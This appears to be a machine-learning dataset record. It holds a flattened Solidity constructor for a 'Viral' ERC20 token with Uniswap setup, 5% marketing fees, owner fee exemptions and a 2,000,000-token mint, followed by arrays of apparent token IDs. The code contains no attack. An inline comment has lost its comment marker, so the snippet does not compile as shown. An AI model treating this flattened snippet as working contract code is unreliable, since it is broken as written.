constructor() ERC20("Viral", "VIRAL") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyDevelopmentFee = 0; uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellDevelopmentFee = 0; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 2000000 * 1e18; buyDevelopmentFee = _buyDevelopmentFee; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyDevelopmentFee + buyMarketingFee + buyLiquidityFee + buyDevFee; sellDevelopmentFee = _sellDevelopmentFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellDevelopmentFee + sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
3,923,442
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 58, 481, 287, 3113, 315, 4136, 54, 1013, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 3639, 2254, 5034, 389, 70, 9835, 26438, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 1381, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 2 ]